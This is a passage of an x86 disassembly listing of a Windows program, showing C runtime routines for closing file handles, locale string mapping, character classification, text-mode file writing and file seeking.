		mov	edx, [ecx+eax*4]
		cmp	edx, ebx
		jz	short loc_412DB3
		test	byte ptr [edx+0Ch], 83h
		jz	short loc_412DAE
		inc	eax
		cmp	eax, edi
		jl	short loc_412D9A
		jmp	short loc_412DED
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D81+24j
		mov	esi, [ecx+eax*4]
		jmp	short loc_412DD7
; ---------------------------------------------------------------------------


loc_412DB3:				; CODE XREF: sub_412D81+1Ej
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_40E74F
		pop	ecx
		mov	ecx, dword_4C5ED4
		mov	[edi+ecx], eax
		mov	eax, dword_4C5ED4
		mov	edi, [edi+eax]
		cmp	edi, ebx
		jz	short loc_412DED
		mov	esi, edi


loc_412DD7:				; CODE XREF: sub_412D81+30j
		cmp	esi, ebx
		jz	short loc_412DED
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+8], ebx
		mov	[esi], ebx
		mov	[esi+1Ch], ebx


loc_412DED:				; CODE XREF: sub_412D81+11j
					; sub_412D81+2Bj ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_412D81	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DF3	proc near		; CODE XREF: sub_40E8F7+2Ap
					; sub_415B4C+2C5p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4C5DA0
		jnb	loc_412E8D
		mov	eax, edi
		sar	eax, 5
		mov	esi, edi
		and	esi, 1Fh
		lea	ebx, ds:4C5DC0h[eax*4]
		mov	eax, [ebx]
		shl	esi, 3
		test	byte ptr [eax+esi+4], 1
		jz	short loc_412E8D
		push	edi
		call	sub_415FAA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412E6C
		cmp	edi, 1
		jz	short loc_412E3A
		cmp	edi, 2
		jnz	short loc_412E50


loc_412E3A:				; CODE XREF: sub_412DF3+40j
		push	2
		call	sub_415FAA
		push	1
		mov	ebp, eax
		call	sub_415FAA
		cmp	eax, ebp
		pop	ecx
		pop	ecx
		jz	short loc_412E6C


loc_412E50:				; CODE XREF: sub_412DF3+45j
		push	edi
		call	sub_415FAA
		pop	ecx
		push	eax
		call	dword_419064	; CloseHandle
		test	eax, eax
		jnz	short loc_412E6C
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_412E6E
; ---------------------------------------------------------------------------


loc_412E6C:				; CODE XREF: sub_412DF3+3Bj
					; sub_412DF3+5Bj ...
		xor	ebp, ebp


loc_412E6E:				; CODE XREF: sub_412DF3+77j
		push	edi
		call	sub_415F30
		mov	eax, [ebx]
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		pop	ecx
		jz	short loc_412E89
		push	ebp
		call	sub_412BBA
		pop	ecx
		jmp	short loc_412E9E
; ---------------------------------------------------------------------------


loc_412E89:				; CODE XREF: sub_412DF3+8Bj
		xor	eax, eax
		jmp	short loc_412EA1
; ---------------------------------------------------------------------------


loc_412E8D:				; CODE XREF: sub_412DF3+Ej
					; sub_412DF3+2Fj
		and	dword_4C5908, 0
		mov	dword_4C5904, 9


loc_412E9E:				; CODE XREF: sub_412DF3+94j
		or	eax, 0FFFFFFFFh


loc_412EA1:				; CODE XREF: sub_412DF3+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_412DF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EA6	proc near		; CODE XREF: sub_40E8F7+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_412ECF
		test	al, 8
		jz	short loc_412ECF
		push	dword ptr [esi+8]
		call	sub_40E359
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_412ECF:				; CODE XREF: sub_412EA6+Aj
					; sub_412EA6+Ej
		pop	esi
		retn
sub_412EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412ED1	proc near		; CODE XREF: sub_40EB9E+9Ep
					; sub_411692+C8p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_41BCD8
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	dword_4C598C, ebx
		jnz	short loc_412F1F
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_41BCD0
		push	100h
		push	ebx
		call	dword_419054	; LCMapStringW
		test	eax, eax
		jz	short loc_412F0A
		mov	dword_4C598C, esi
		jmp	short loc_412F1F
; ---------------------------------------------------------------------------


loc_412F0A:				; CODE XREF: sub_412ED1+2Fj
		call	dword_4190AC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_412F1F
		mov	dword_4C598C, 2


loc_412F1F:				; CODE XREF: sub_412ED1+14j
					; sub_412ED1+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_412F3F
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_412F2A:				; CODE XREF: sub_412ED1+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_412F37
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_412F2A
		or	ecx, 0FFFFFFFFh


loc_412F37:				; CODE XREF: sub_412ED1+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_412F3F:				; CODE XREF: sub_412ED1+51j
		mov	eax, dword_4C598C
		cmp	eax, 2
		jz	loc_413129


loc_412F4D:				; DATA XREF: .text:off_41B68Co
		cmp	eax, ebx
		jz	loc_413129
		cmp	eax, 1
		jnz	loc_41315C
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_412F76
		mov	eax, dword_4C59A8
		mov	[ebp+arg_18], eax


loc_412F76:				; CODE XREF: sub_412ED1+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	dword_41913C	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	loc_41315C
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_412FE2
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_414EC1
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_412FE2:				; CODE XREF: sub_412ED1+F4j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_413003
		lea	eax, [esi+esi]
		push	eax
		call	sub_40E74F
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	loc_41315C
		mov	[ebp+var_20], 1


loc_413003:				; CODE XREF: sub_412ED1+114j
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_41913C	; MultiByteToWideChar
		test	eax, eax
		jz	loc_413106
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419054	; LCMapStringW
		mov	edi, eax
		mov	[ebp+var_1C], edi
		cmp	edi, ebx
		jz	loc_413106
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_413072
		cmp	[ebp+arg_14], ebx
		jz	loc_413106
		cmp	edi, [ebp+arg_14]
		jg	loc_413106
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419054	; LCMapStringW
		jmp	loc_413106
; ---------------------------------------------------------------------------


loc_413072:				; CODE XREF: sub_412ED1+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4130B0
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_414EC1
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_4130B0:				; CODE XREF: sub_412ED1+1C2j
		cmp	[ebp+var_30], ebx
		jnz	short loc_4130CD
		lea	eax, [edi+edi]
		push	eax
		call	sub_40E74F
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, ebx
		jz	short loc_413106
		mov	[ebp+var_24], 1


loc_4130CD:				; CODE XREF: sub_412ED1+1E2j
		push	edi
		push	[ebp+var_30]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419054	; LCMapStringW
		test	eax, eax
		jz	short loc_413106
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_4130F0
		push	ebx
		push	ebx
		jmp	short loc_4130F6
; ---------------------------------------------------------------------------


loc_4130F0:				; CODE XREF: sub_412ED1+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4130F6:				; CODE XREF: sub_412ED1+21Dj
		push	edi
		push	[ebp+var_30]
		push	ebx
		push	[ebp+arg_18]
		call	dword_419058	; WideCharToMultiByte
		mov	edi, eax


loc_413106:				; CODE XREF: sub_412ED1+149j
					; sub_412ED1+168j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_413114
		push	[ebp+var_30]
		call	sub_40E359
		pop	ecx


loc_413114:				; CODE XREF: sub_412ED1+238j
		cmp	[ebp+var_20], ebx
		jz	short loc_413122
		push	[ebp+var_2C]
		call	sub_40E359
		pop	ecx


loc_413122:				; CODE XREF: sub_412ED1+246j
		mov	eax, edi
		jmp	loc_413284
; ---------------------------------------------------------------------------


loc_413129:				; CODE XREF: sub_412ED1+76j
					; sub_412ED1+7Ej
		mov	[ebp+var_34], ebx
		xor	edi, edi
		mov	[ebp+var_38], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41313E
		mov	eax, dword_4C5998
		mov	[ebp+arg_0], eax


loc_41313E:				; CODE XREF: sub_412ED1+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41314B
		mov	eax, dword_4C59A8
		mov	[ebp+arg_18], eax


loc_41314B:				; CODE XREF: sub_412ED1+270j
		push	[ebp+arg_0]
		call	sub_415FE6
		pop	ecx
		mov	[ebp+var_3C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413163


loc_41315C:				; CODE XREF: sub_412ED1+87j
					; sub_412ED1+CDj ...
		xor	eax, eax
		jmp	loc_413284
; ---------------------------------------------------------------------------


loc_413163:				; CODE XREF: sub_412ED1+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_41325A
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_41602F
		add	esp, 18h
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jz	short loc_41315C
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41905C	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_40], esi
		cmp	esi, ebx
		jz	loc_413249
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_40D7B0
		add	esp, 0Ch
		jmp	short loc_4131DA
; ---------------------------------------------------------------------------


loc_4131CA:				; DATA XREF: .text:stru_41BCD8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4131CE:				; DATA XREF: .text:stru_41BCD8o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_414EC1
		xor	ebx, ebx
		xor	edi, edi


loc_4131DA:				; CODE XREF: sub_412ED1+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_413205
		push	[ebp+var_40]
		call	sub_40E74F
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_413222
		push	[ebp+var_40]
		push	ebx
		push	edi
		call	sub_40D7B0
		add	esp, 0Ch
		mov	[ebp+var_38], 1


loc_413205:				; CODE XREF: sub_412ED1+30Fj
		push	[ebp+var_40]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_34]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41905C	; LCMapStringA
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	short loc_413226


loc_413222:				; CODE XREF: sub_412ED1+31Ej
		xor	esi, esi
		jmp	short loc_41324C
; ---------------------------------------------------------------------------


loc_413226:				; CODE XREF: sub_412ED1+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_3C]
		call	sub_41602F
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_41324C
; ---------------------------------------------------------------------------


loc_413249:				; CODE XREF: sub_412ED1+2D0j
		mov	esi, [ebp+var_48]


loc_41324C:				; CODE XREF: sub_412ED1+353j
					; sub_412ED1+376j
		cmp	[ebp+var_38], ebx
		jz	short loc_413274
		push	edi
		call	sub_40E359
		pop	ecx
		jmp	short loc_413274
; ---------------------------------------------------------------------------


loc_41325A:				; CODE XREF: sub_412ED1+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41905C	; LCMapStringA
		mov	esi, eax


loc_413274:				; CODE XREF: sub_412ED1+37Ej
					; sub_412ED1+387j
		cmp	[ebp+var_34], ebx
		jz	short loc_413282
		push	[ebp+var_34]
		call	sub_40E359
		pop	ecx


loc_413282:				; CODE XREF: sub_412ED1+3A6j
		mov	eax, esi


loc_413284:				; CODE XREF: sub_412ED1+253j
					; sub_412ED1+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_412ED1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41328D	proc near		; CODE XREF: sub_40EB9E+40p
					; sub_410914+Fp ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_4132AB
		mov	ecx, off_4214EC
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_413306
; ---------------------------------------------------------------------------


loc_4132AB:				; CODE XREF: sub_41328D+10j
		mov	ecx, eax
		sar	ecx, 8
		push	esi
		mov	esi, off_4214EC
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4132D1
		and	[ebp+var_2], 0
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], cl
		pop	eax
		jmp	short loc_4132DB
; ---------------------------------------------------------------------------


loc_4132D1:				; CODE XREF: sub_41328D+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		xor	eax, eax
		inc	eax


loc_4132DB:				; CODE XREF: sub_41328D+42j
		push	1
		push	dword_4C5998
		lea	ecx, [ebp+arg_0+2]
		push	dword_4C59A8
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41512C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413302
		leave
		retn
; ---------------------------------------------------------------------------


loc_413302:				; CODE XREF: sub_41328D+71j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_413306:				; CODE XREF: sub_41328D+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41328D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41330B	proc near		; CODE XREF: sub_40EC73+9Fp
					; sub_40FA2B+98p ...

var_41C		= byte ptr -41Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 41Ch
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4C5DA0
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		jnb	loc_41349B
		mov	eax, ecx
		sar	eax, 5
		lea	ebx, ds:4C5DC0h[eax*4]
		mov	eax, [ebx]
		mov	esi, ecx
		and	esi, 1Fh
		shl	esi, 3
		mov	al, [eax+esi+4]
		test	al, 1
		mov	[ebp+var_18], ebx
		jz	loc_41349B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_14], edi
		jnz	short loc_41336A


loc_413363:				; CODE XREF: sub_41330B+173j
		xor	eax, eax
		jmp	loc_4134AF
; ---------------------------------------------------------------------------


loc_41336A:				; CODE XREF: sub_41330B+56j
		test	al, 20h
		jz	short loc_41337B
		push	2
		push	edi
		push	edi
		push	ecx
		call	sub_4161FE
		add	esp, 10h


loc_41337B:				; CODE XREF: sub_41330B+61j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_413437
		cmp	[ebp+arg_8], edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41346F


loc_41339B:				; CODE XREF: sub_41330B+102j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_41C]


loc_4133A7:				; CODE XREF: sub_41330B+C4j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4133D1
		mov	edx, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_4133C2
		inc	[ebp+var_14]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	edi


loc_4133C2:				; CODE XREF: sub_41330B+ADj
		mov	ebx, [ebp+var_18]
		mov	[eax], dl
		inc	eax
		inc	edi
		cmp	edi, 400h
		jl	short loc_4133A7


loc_4133D1:				; CODE XREF: sub_41330B+9Fj
		mov	edi, eax
		lea	eax, [ebp+var_41C]
		sub	edi, eax
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		lea	eax, [ebp+var_41C]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4190DC	; WriteFile
		test	eax, eax
		jz	short loc_413411
		mov	eax, [ebp+var_10]
		add	[ebp+var_C], eax
		cmp	eax, edi
		jl	short loc_41341A
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, [ebp+arg_8]
		jb	short loc_41339B
		jmp	short loc_41341C
; ---------------------------------------------------------------------------


loc_413411:				; CODE XREF: sub_41330B+EBj
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax


loc_41341A:				; CODE XREF: sub_41330B+F5j
		xor	edi, edi


loc_41341C:				; CODE XREF: sub_41330B+104j
					; sub_41330B+14Cj ...
		mov	eax, [ebp+var_C]
		cmp	eax, edi
		jnz	short loc_413496
		cmp	[ebp+arg_0], edi
		jz	short loc_41346F
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_413464
		mov	dword_4C5908, eax
		jmp	short loc_4134A2
; ---------------------------------------------------------------------------


loc_413437:				; CODE XREF: sub_41330B+78j
		push	edi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4190DC	; WriteFile
		test	eax, eax
		jz	short loc_413459
		mov	eax, [ebp+var_10]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_C], eax
		jmp	short loc_41341C
; ---------------------------------------------------------------------------


loc_413459:				; CODE XREF: sub_41330B+141j
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41341C
; ---------------------------------------------------------------------------


loc_413464:				; CODE XREF: sub_41330B+123j
		push	[ebp+arg_0]
		call	sub_412BBA
		pop	ecx
		jmp	short loc_4134AC
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41330B+8Aj
					; sub_41330B+11Bj
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_413484
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_413363


loc_413484:				; CODE XREF: sub_41330B+16Bj
		mov	dword_4C5904, 1Ch
		mov	dword_4C5908, edi
		jmp	short loc_4134AC
; ---------------------------------------------------------------------------


loc_413496:				; CODE XREF: sub_41330B+116j
		sub	eax, [ebp+var_14]
		jmp	short loc_4134AF
; ---------------------------------------------------------------------------


loc_41349B:				; CODE XREF: sub_41330B+20j
					; sub_41330B+45j
		and	dword_4C5908, 0


loc_4134A2:				; CODE XREF: sub_41330B+12Aj
		mov	dword_4C5904, 9


loc_4134AC:				; CODE XREF: sub_41330B+162j
					; sub_41330B+189j
		or	eax, 0FFFFFFFFh


loc_4134AF:				; CODE XREF: sub_41330B+5Aj
					; sub_41330B+18Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_41330B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134BF	proc near		; CODE XREF: sub_40ED7A+69p
					; sub_40FA2B+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4C5DA0
		push	ebx
		push	esi
		push	edi
		jnb	short loc_413533
		mov	ecx, eax
		sar	ecx, 5
		mov	esi, eax
		and	esi, 1Fh
		lea	edi, ds:4C5DC0h[ecx*4]
		mov	ecx, [edi]
		shl	esi, 3
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_413533
		push	eax
		call	sub_415FAA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41353A
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_419114	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_413517
		call	dword_4190AC	; RtlGetLastWin32Error
		jmp	short loc_413519
; ---------------------------------------------------------------------------


loc_413517:				; CODE XREF: sub_4134BF+4Ej
		xor	eax, eax


loc_413519:				; CODE XREF: sub_4134BF+56j
		test	eax, eax
		jz	short loc_413526
		push	eax
		call	sub_412BBA
		pop	ecx
		jmp	short loc_413544
; ---------------------------------------------------------------------------


loc_413526:				; CODE XREF: sub_4134BF+5Cj
		mov	eax, [edi]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, ebx
		jmp	short loc_413547
; ---------------------------------------------------------------------------


loc_413533:				; CODE XREF: sub_4134BF+Dj
					; sub_4134BF+2Aj
		and	dword_4C5908, 0


loc_41353A:				; CODE XREF: sub_4134BF+36j
		mov	dword_4C5904, 9


loc_413544:				; CODE XREF: sub_4134BF+65j
		or	eax, 0FFFFFFFFh


loc_413547:				; CODE XREF: sub_4134BF+72j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4134BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41354B	proc near		; CODE XREF: sub_40ED7A+2Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+10h]
		xor	ebx, ebx
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_413567
		mov	[edi+4], ebx


loc_413567:				; CODE XREF: sub_41354B+17j
		push	1
		push	ebx
		push	esi
		call	sub_4134BF
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_4135E4
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41358C
		sub	eax, [edi+4]
		jmp	loc_41369F
; ---------------------------------------------------------------------------


loc_41358C:				; CODE XREF: sub_41354B+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_4135D6
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_4C5DC0[edx*4]
		mov	ebx, esi
		and	ebx, 1Fh
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_4135C8
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_4135C8


loc_4135BB:				; CODE XREF: sub_41354B+7Bj
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_4135C3
		inc	[ebp+var_8]


loc_4135C3:				; CODE XREF: sub_41354B+73j
		inc	edx
		cmp	edx, [edi]
		jb	short loc_4135BB


loc_4135C8:				; CODE XREF: sub_41354B+68j
					; sub_41354B+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_4135EC
		mov	eax, [ebp+var_8]
		jmp	loc_41369F
; ---------------------------------------------------------------------------


loc_4135D6:				; CODE XREF: sub_41354B+50j
		test	dl, dl
		js	short loc_4135C8
		mov	dword_4C5904, 16h


loc_4135E4:				; CODE XREF: sub_41354B+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41369F
; ---------------------------------------------------------------------------


loc_4135EC:				; CODE XREF: sub_41354B+81j
		test	byte ptr [edi+0Ch], 1
		jz	loc_413697
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_413605
		and	[ebp+var_8], edx
		jmp	loc_413697
; ---------------------------------------------------------------------------


loc_413605:				; CODE XREF: sub_41354B+B0j
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4C5DC0h[eax*4]
		mov	eax, [ebx]
		shl	esi, 3
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_413691
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_4134BF
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_413658
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax
		jmp	short loc_41364E
; ---------------------------------------------------------------------------


loc_413645:				; CODE XREF: sub_41354B+105j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41364D
		inc	[ebp+arg_0]


loc_41364D:				; CODE XREF: sub_41354B+FDj
		inc	eax


loc_41364E:				; CODE XREF: sub_41354B+F8j
		cmp	eax, ecx
		jb	short loc_413645
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41368C
; ---------------------------------------------------------------------------


loc_413658:				; CODE XREF: sub_41354B+EEj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_4134BF
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41367F
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41367F
		test	ch, 4
		jz	short loc_413682


loc_41367F:				; CODE XREF: sub_41354B+125j
					; sub_41354B+12Dj
		mov	eax, [edi+18h]


loc_413682:				; CODE XREF: sub_41354B+132j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41368C:				; CODE XREF: sub_41354B+10Bj
		jz	short loc_413691
		inc	[ebp+arg_0]


loc_413691:				; CODE XREF: sub_41354B+DAj
					; sub_41354B:loc_41368Cj
